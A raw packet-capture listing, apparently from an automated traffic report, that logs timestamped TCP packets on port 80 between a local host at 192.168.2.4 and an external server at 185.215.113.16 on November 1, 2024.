Nov 1, 2024 08:51:09.986820936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986855030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.986861944 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986874104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986882925 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.986886978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986912012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.986967087 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.987689018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.987740040 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.987755060 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.987771988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.987795115 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.987808943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.987816095 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.987823009 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.987835884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.987847090 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.987864971 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.987890005 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.988588095 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.988641977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.988645077 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.988657951 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.988679886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.988694906 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.988706112 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.988717079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.988728046 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.988745928 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.988769054 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.989758015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.989808083 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.989813089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.989826918 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.989855051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.989857912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.989867926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.989881039 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.989903927 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.989905119 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.989905119 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.989945889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.990513086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.990550041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.990560055 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.990561962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.990592957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.990601063 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.990612984 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.990613937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.990628004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.990648031 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.990695953 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.103884935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.103904963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.103915930 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.103928089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.103939056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.103985071 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.104003906 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.104072094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.104082108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.104101896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.104114056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.104125023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.104130030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.104137897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.104151011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.104151964 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.104166031 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.104176044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.104185104 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.104204893 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.104222059 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.255928040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.255954981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.255965948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.255976915 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.255990028 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256001949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256015062 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256045103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256056070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256062984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256124020 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.256181002 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.256320953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256334066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256351948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256366014 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256373882 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.256377935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256392002 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.256392956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256407022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256419897 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.256433964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256444931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.256448030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256460905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.256479979 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.256505966 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.257256985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257270098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257282019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257287979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257298946 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257308006 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.257316113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257330894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257337093 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.257343054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257354021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.257356882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257369995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.257386923 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.257405043 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.258131027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.258188963 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.258224964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.258235931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.258246899 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.258259058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.258261919 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.258275032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.258285046 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.258299112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.258307934 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.339992046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340014935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340028048 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340039968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340045929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340051889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340074062 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340074062 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340080023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340091944 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340101004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340112925 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340123892 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340137005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340142965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340152025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340183020 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340192080 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340423107 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340440989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340452909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340472937 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340507030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340576887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340588093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340604067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340612888 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340615988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340629101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340640068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340651035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340655088 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340663910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340676069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340687990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.340697050 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.340728045 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.341376066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341420889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.341500044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341511011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341521978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341527939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341533899 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341548920 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.341552973 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341566086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341566086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.341577053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341589928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341597080 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.341602087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341614008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341624975 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.341624975 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.341646910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.341692924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.342410088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342421055 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342432976 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342442989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342458963 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.342459917 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342474937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342483997 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.342489004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342502117 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342513084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342519045 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.342529058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342540979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342544079 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.342554092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342565060 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.342572927 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.342596054 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.342616081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.343233109 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343249083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343261003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343271971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343276978 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.343278885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343297958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.343322039 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343333960 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.343334913 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343353987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343364000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.343365908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343379974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343391895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343398094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.343404055 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343421936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.343430042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.343451977 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.344110012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344127893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344137907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344158888 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.344181061 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.344266891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344278097 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344288111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344299078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344310999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344310999 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.344324112 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344332933 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.344336033 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344348907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344356060 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.344360113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344373941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.344374895 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.344410896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.345046997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345057964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345069885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345091105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.345108986 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345109940 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.345120907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345132113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345138073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345144987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.345160007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345172882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345184088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345195055 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345196962 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.345211029 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345221996 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.345237017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.345257998 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.345968008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346002102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346012115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346019030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.346024036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346040964 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.346054077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346065998 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346070051 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.346071005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346085072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346129894 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.346129894 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.346157074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346168041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346179962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346190929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346199989 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.346204042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346231937 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.346860886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346915960 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.346971035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346982002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.346993923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347004890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347017050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347023010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347038031 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.347038031 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.347042084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347054958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347067118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347069979 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.347079039 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347090006 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347093105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.347103119 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347117901 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.347141981 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.347826958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347839117 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347851038 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.347877026 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.347897053 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.373382092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.373394012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.373456001 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.457850933 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.457875013 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.457886934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.457899094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.457911015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.457923889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.457943916 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.457989931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.458051920 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459409952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459462881 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459476948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459512949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459520102 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459525108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459543943 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459568024 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459597111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459608078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459619045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459629059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459635019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459635973 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459652901 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459654093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459666014 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459676981 CET	80	57660	185.215.113.16	192.168.2.4
